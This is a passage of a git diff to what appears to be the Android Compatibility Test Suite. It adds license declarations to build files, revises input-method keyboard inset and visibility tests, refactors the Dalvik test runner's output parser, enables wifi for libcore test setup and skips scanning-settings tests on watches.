             final int targetHeight = targetImage.getHeight();
 
@@ -118,7 +141,8 @@
                     if (targetY < 0 || targetHeight <= targetY) {
                         return false;
                     }
-                    if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                    if (!robustMatchInternal(
+                            targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                         return false;
                     }
                 }
@@ -231,7 +255,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (sImage.match(targetImage, offsetX, offsetY)) {
+                if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index ebc1d30..dd8d070 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -25,9 +25,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 
+import android.graphics.Point;
 import android.os.Process;
 import android.os.SystemClock;
 import android.util.Pair;
+import android.view.View;
 import android.view.Window;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimationControlListener;
@@ -101,6 +103,7 @@
 
             Pair<EditText, Window> launchResult = launchTestActivity();
             final EditText editText = launchResult.first;
+            final View decorView = launchResult.second.getDecorView();
 
             WindowInsets[] lastInsets = new WindowInsets[1];
 
@@ -141,7 +144,8 @@
 
             controlLatch.await(5, TimeUnit.SECONDS);
             assertEquals(0, controlLatch.getCount());
-            assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
             assertEquals(animController[0].getShownStateInsets(), lastInsets[0].getInsets(ime()));
 
             // Change keyboard height, but make sure the insets don't change until the controlling
@@ -151,7 +155,8 @@
             SystemClock.sleep(500);
 
             // Make sure keyboard height hasn't changed yet.
-            assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
 
             // Wait until new insets dispatch
             CountDownLatch insetsLatch = new CountDownLatch(1);
@@ -167,7 +172,8 @@
             assertEquals(0, insetsLatch.getCount());
 
             // Verify new height
-            assertEquals(NEW_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+            assertEquals(getExpectedBottomInsets(NEW_KEYBOARD_HEIGHT, decorView),
+                         lastInsets[0].getInsets(ime()).bottom);
 
             assertFalse(cancelled[0]);
         }
@@ -197,4 +203,23 @@
             }
         };
     }
+
+    private int getDisplayHeight(View view) {
+        final Point size = new Point();
+        view.getDisplay().getRealSize(size);
+        return size.y;
+    }
+
+    private int getBottomOfWindow(View decorView) {
+        int viewPos[] = new int[2];
+        decorView.getLocationOnScreen(viewPos);
+        return decorView.getHeight() + viewPos[1];
+    }
+
+    private int getExpectedBottomInsets(int keyboardHeight, View decorView) {
+        return Math.max(
+                0,
+                keyboardHeight
+                        - Math.max(0, getDisplayHeight(decorView) - getBottomOfWindow(decorView)));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 9cd6be1..cad3309 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -16,8 +16,14 @@
 
 package android.view.inputmethod.cts;
 
+import static android.view.View.VISIBLE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeVisible;
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
@@ -75,6 +81,7 @@
 @RunWith(AndroidJUnit4.class)
 public class KeyboardVisibilityControlTest extends EndToEndImeTestBase {
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
 
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
@@ -408,6 +415,96 @@
         }
     }
 
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Unspecified() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_UNSPECIFIED);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Visible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysVisible() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_Hidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_HIDDEN);
+    }
+
+    @Test
+    public void testImeState_EditorDialogLostFocusAfterUnlocked_AlwaysHidden() throws Exception {
+        runImeDoesntReshowAfterKeyguardTest(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
+    }
+
+    private void runImeDoesntReshowAfterKeyguardTest(int softInputState) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Launch a simple test activity
+            final TestActivity testActivity =
+                    TestActivity.startSync(activity -> new LinearLayout(activity));
+
+            // Launch a dialog and show keyboard
+            final String marker = getTestMarker();
+            final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+            final AtomicReference<AlertDialog> dialogRef = new AtomicReference<>();
+            TestUtils.runOnMainSync(() -> {
+                final EditText editText = new EditText(testActivity);
+                editText.setHint("focused editText");
+                editText.setPrivateImeOptions(marker);
+                editText.requestFocus();
+                final AlertDialog dialog = new AlertDialog.Builder(testActivity)
+                        .setView(editText)
+                        .create();
+                dialog.getWindow().setSoftInputMode(softInputState);
+                dialog.show();
+                editText.getWindowInsetsController().show(ime());
+                editTextRef.set(editText);
+                dialogRef.set(dialog);
+            });
+
+            TestUtils.waitOnMainUntil(() -> dialogRef.get().isShowing()
+                    && editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
+                    View.VISIBLE, TIMEOUT);
+            expectImeVisible(TIMEOUT);
+
+            // Clear editor focus after screen-off
+            TestUtils.turnScreenOff();
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().getWindowVisibility() != VISIBLE,
+                    TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(true), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+            expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
+            // Expect showSoftInput comes when system notify InsetsController to apply show IME
+            // insets after IME input target updated.
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            notExpectEvent(stream, hideSoftInputMatcher(), NOT_EXPECT_TIMEOUT);
+            TestUtils.runOnMainSync(editTextRef.get()::clearFocus);
+
+            // Verify IME will invisible after device unlocked
+            TestUtils.turnScreenOn();
+            TestUtils.unlockScreen();
+            // Expect hideSoftInput and onFinishInputView will called by IMMS when the same window
+            // focused since the editText view focus has been cleared.
+            TestUtils.waitOnMainUntil(() -> editTextRef.get().hasWindowFocus()
+                    && !editTextRef.get().hasFocus(), TIMEOUT);
+            expectEvent(stream, hideSoftInputMatcher(), TIMEOUT);
+            expectEvent(stream, onFinishInputViewMatcher(false), TIMEOUT);
+            expectImeInvisible(TIMEOUT);
+        }
+    }
+
     private static ImeSettings.Builder getFloatingImeSettings(@ColorInt int navigationBarColor) {
         final ImeSettings.Builder builder = new ImeSettings.Builder();
         builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
diff --git a/tests/inputmethod/testapp/Android.bp b/tests/inputmethod/testapp/Android.bp
index 1d55077..143d0c58 100644
--- a/tests/inputmethod/testapp/Android.bp
+++ b/tests/inputmethod/testapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInputMethodStandaloneTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/jdwp/Android.bp b/tests/jdwp/Android.bp
index bea346d..d584633 100644
--- a/tests/jdwp/Android.bp
+++ b/tests/jdwp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
 
     name: "CtsJdwpTestCases",
diff --git a/tests/jdwp/runner/device-side/Android.bp b/tests/jdwp/runner/device-side/Android.bp
index 98edcf8..4ae6f6f 100644
--- a/tests/jdwp/runner/device-side/Android.bp
+++ b/tests/jdwp/runner/device-side/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "cts-dalvik-device-test-runner",
     installable: true,
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index a78fe2e..4acb32c 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -16,6 +16,10 @@
 //       a library component for a test, not a test. Right now, make it
 //       a test to retain the test_suites from the original Android.mk.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "cts-dalvik-host-test-runner",
 
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
index 4546535..274da25 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
@@ -17,7 +17,6 @@
 package com.android.compatibility.testtype;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.ddmlib.MultiLineReceiver;
@@ -26,9 +25,13 @@
 import com.android.tradefed.config.OptionCopier;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.TestInformation;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
+import com.android.tradefed.result.FailureDescription;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.proto.TestRecordProto.FailureStatus;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -52,9 +55,9 @@
 import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.LinkedHashSet;
 import java.util.List;
@@ -343,7 +346,7 @@
      * {@inheritDoc}
      */
     @Override
-    public void run(final ITestInvocationListener listener) throws DeviceNotAvailableException {
+    public void run(final TestInformation testInfo, final ITestInvocationListener listener) throws DeviceNotAvailableException {
         String abiName = mAbi.getName();
         String bitness = AbiUtils.getBitness(abiName);
         mIsAdbConnection = isAdbconnection(getDevice());
@@ -419,56 +422,14 @@
                 ArrayUtil.join(File.pathSeparator, mClasspath),
                 dalvikArgs, abiName, runnerArgs,
                 includeFilters, excludeFilters, includeFile, excludeFile, collectTestsOnlyString);
-        IShellOutputReceiver receiver = new MultiLineReceiver() {
-            private TestDescription test;
-
-            @Override
-            public boolean isCancelled() {
-                return false;
-            }
-
-            @Override
-            public void processNewLines(String[] lines) {
-                for (String line : lines) {
-                    String[] parts = line.split(":", 2);
-                    String tag = parts[0];
-                    if (tag.equals(START_RUN)) {
-                        listener.testRunStarted(mRunName, Integer.parseInt(parts[1]));
-                        Log.logAndDisplay(LogLevel.INFO, TAG, command);
-                    } else if (tag.equals(END_RUN)) {
-                        listener.testRunEnded(Integer.parseInt(parts[1]),
-                                Collections.<String, String>emptyMap());
-                    } else if (tag.equals(START_TEST)) {
-                        test = getTestDescription(parts[1]);
-                        listener.testStarted(test);
-                    } else if (tag.equals(FAILURE)) {
-                        listener.testFailed(test, processSerializedValue(parts[1]));
-                    } else if (tag.equals(END_TEST)) {
-                        listener.testEnded(getTestDescription(parts[1]),
-                                Collections.<String, String>emptyMap());
-                    }
-                    // Always log the output for debugging
-                    CLog.d(line);
-                }
-            }
-
-            private String processSerializedValue(String input) {
-                // Opposite of stringify.
-                return input.replace("^~^", "\n");
-            }
-
-            private TestDescription getTestDescription(String name) {
-                String[] parts = name.split("#");
-                String className = parts[0];
-                String testName = "";
-                if (parts.length > 1) {
-                    testName = parts[1];
-                }
-                return new TestDescription(className, testName);
-            }
-
-        };
-        mDevice.executeShellCommand(command, receiver, mPerTestTimeout, TimeUnit.MINUTES, 1);
+        Log.logAndDisplay(LogLevel.INFO, TAG, command);
+        DalvikOutputParser receiver = new DalvikOutputParser(listener);
+        try {
+            mDevice.executeShellCommand(command, receiver, mPerTestTimeout, TimeUnit.MINUTES, 1);
+        } finally {
+            receiver.flush();
+            receiver.completeEvents();
+        }
     }
 
     /*
@@ -610,4 +571,77 @@
             return null;
         }
     }
+
+    private class DalvikOutputParser extends MultiLineReceiver {
+
+        private final ITestInvocationListener mListener;
+        private TestDescription mTest;
+        private Long mStartTime;
+
+        public DalvikOutputParser(ITestInvocationListener listener) {
+            this.mListener = listener;
+        }
+
+        @Override
+        public boolean isCancelled() {
+            return false;
+        }
+
+        @Override
+        public void processNewLines(String[] lines) {
+            for (String line : lines) {
+                String[] parts = line.split(":", 2);
+                String tag = parts[0];
+                if (tag.equals(START_RUN)) {
+                    mListener.testRunStarted(mRunName, Integer.parseInt(parts[1]));
+                    mStartTime = System.currentTimeMillis();
+                } else if (tag.equals(END_RUN)) {
+                    mListener.testRunEnded(Integer.parseInt(parts[1]),
+                            Collections.<String, String>emptyMap());
+                    mStartTime = null;
+                } else if (tag.equals(START_TEST)) {
+                    mTest = getTestDescription(parts[1]);
+                    mListener.testStarted(mTest);
+                } else if (tag.equals(FAILURE)) {
+                    mListener.testFailed(mTest, processSerializedValue(parts[1]));
+                } else if (tag.equals(END_TEST)) {
+                    mListener.testEnded(getTestDescription(parts[1]),
+                            Collections.<String, String>emptyMap());
+                    mTest = null;
+                }
+                // Always log the output for debugging
+                CLog.d(line);
+            }
+        }
+
+        private String processSerializedValue(String input) {
+            // Opposite of stringify.
+            return input.replace("^~^", "\n");
+        }
+
+        private TestDescription getTestDescription(String name) {
+            String[] parts = name.split("#");
+            String className = parts[0];
+            String testName = "";
+            if (parts.length > 1) {
+                testName = parts[1];
+            }
+            return new TestDescription(className, testName);
+        }
+
+        /**
+         * In case some inconsistent events are left, close them for proper reporting.
+         */
+        private void completeEvents() {
+            if (mTest != null) {
+                mListener.testFailed(mTest, "Test started but no end events received.");
+                mListener.testEnded(mTest, new HashMap<String, Metric>());
+            }
+            if (mStartTime != null) {
+                mListener.testRunFailed(
+                        FailureDescription.create("Dalvik test session did not properly terminate.").setFailureStatus(FailureStatus.TEST_FAILURE));
+                mListener.testRunEnded(System.currentTimeMillis() - mStartTime, new HashMap<String, Metric>());
+            }
+        }
+    }
 }
diff --git a/tests/leanbackjank/Android.bp b/tests/leanbackjank/Android.bp
index f72d1fb..4f966d0 100644
--- a/tests/leanbackjank/Android.bp
+++ b/tests/leanbackjank/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLeanbackJankTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/leanbackjank/app/Android.bp b/tests/leanbackjank/app/Android.bp
index cfcff77..0448e15 100644
--- a/tests/leanbackjank/app/Android.bp
+++ b/tests/leanbackjank/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLeanbackJankApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index b6dbd78..67fb0b74 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreJsr166TestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 5edde79..47f0faa 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index e0fc82a33..59857db 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -22,6 +22,9 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- libcore.java.net.SocketTest requires wifi -->
+        <option name="run-command" value="settings put global wifi_on 1" />
+        <option name="run-command" value="svc wifi enable" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
@@ -68,4 +71,13 @@
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
     </object>
+
+    <!-- When this test is run in a Mainline context (e.g. with `mts-tradefed`), only enable it if
+         one the Mainline modules below is present on the device used for testing. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <!-- ART Mainline Module (internal version). -->
+        <option name="mainline-module-package-name" value="com.google.android.art" />
+        <!-- ART Mainline Module (external (AOSP) version). -->
+        <option name="mainline-module-package-name" value="com.android.art" />
+    </object>
 </configuration>
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index 6a5e8ed..b11bc9b 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreOjTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index 02ce4e4..7b20ee2 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreOkHttpTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 771293e2..9ca68e0 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -22,6 +22,9 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- This CTS test module requires wifi, ensure wifi is on -->
+        <option name="run-command" value="settings put global wifi_on 1" />
+        <option name="run-command" value="svc wifi enable" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
index 25a9dcd..d54a198 100644
--- a/tests/libcore/runner/Android.bp
+++ b/tests/libcore/runner/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsLibcoreTestRunner",
     defaults: ["cts_support_defaults"],
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index 57f59b7..3aba80f 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -12,11 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreWycheproofBCTestCases",
     defaults: ["cts_support_defaults"],
     platform_apis: true,
     static_libs: [
+        "bouncycastle-repackaged-unbundled",
         "cts-core-test-runner-axt",
 
         // Jar containing expectations files.
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
index dfb71e8..699dcaf 100644
--- a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
@@ -16,7 +16,7 @@
 
 package android.libcore.cts.wycheproof;
 
-import com.android.org.bouncycastle.jce.provider.BouncyCastleProvider;
+import com.android.internal.org.bouncycastle.jce.provider.BouncyCastleProvider;
 import com.google.security.wycheproof.AesGcmTest;
 import com.google.security.wycheproof.BasicTest;
 import com.google.security.wycheproof.CipherInputStreamTest;
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
index 859e82f..808aafb7 100644
--- a/tests/libcore/wycheproof/Android.bp
+++ b/tests/libcore/wycheproof/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLibcoreWycheproofConscryptTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/location/common/Android.bp b/tests/location/common/Android.bp
index c242fcf..2056df9 100644
--- a/tests/location/common/Android.bp
+++ b/tests/location/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "LocationCtsCommon",
     srcs: [
diff --git a/tests/location/location_coarse/Android.bp b/tests/location/location_coarse/Android.bp
index ba53aea..da18247 100644
--- a/tests/location/location_coarse/Android.bp
+++ b/tests/location/location_coarse/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLocationCoarseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/location/location_fine/Android.bp b/tests/location/location_fine/Android.bp
index acd0b1d..44b220b 100644
--- a/tests/location/location_fine/Android.bp
+++ b/tests/location/location_fine/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLocationFineTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index b6d51f3..af4bb57 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -66,8 +66,8 @@
     protected void setUp() {
         // Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
         // support using these keywords to trigger assumption failure and skip test.
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
-            // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
+            // TV, auto, and watch do not support the setting options of WIFI scanning and Bluetooth
             // scanning
             return;
         }
@@ -83,7 +83,7 @@
 
     @CddTest(requirement = "7.4.2/C-2-1")
     public void testWifiScanningSettings() throws Exception {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
         launchScanningSettings();
@@ -115,7 +115,7 @@
 
     @CddTest(requirement = "7.4.3/C-4-1")
     public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
+        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
             return;
         }
         launchScanningSettings();
diff --git a/tests/location/location_gnss/Android.bp b/tests/location/location_gnss/Android.bp
index 5748862..97fb815 100644
--- a/tests/location/location_gnss/Android.bp
+++ b/tests/location/location_gnss/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_helper_library {
     name: "cts-location-gnss-tests",
     libs: [
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 4b2f002..2b8509e 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -39,6 +39,8 @@
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 
+import androidx.test.filters.RequiresDevice;
+
 /**
  * Test computing and verifying the pseudoranges based on the raw measurements
  * reported by the GNSS chipset
@@ -256,6 +258,7 @@
      */
     @CddTest(requirement = "7.3.3")
     @AppModeFull(reason = "Flaky in instant mode")
+    @RequiresDevice  // emulated devices do not support real measurements so far.
     public void testPseudoPosition() throws Exception {
         // Checks if Gnss hardware feature is present, skips test (pass) if not
         if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
diff --git a/tests/location/location_none/Android.bp b/tests/location/location_none/Android.bp
index 74732aa..9666ad9 100644
--- a/tests/location/location_none/Android.bp
+++ b/tests/location/location_none/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLocationNoneTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/location/location_privileged/Android.bp b/tests/location/location_privileged/Android.bp
index d4b87fc..d595366 100644
--- a/tests/location/location_privileged/Android.bp
+++ b/tests/location/location_privileged/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLocationPrivilegedTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index 686f744..d78e2b7 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -12,6 +12,10 @@
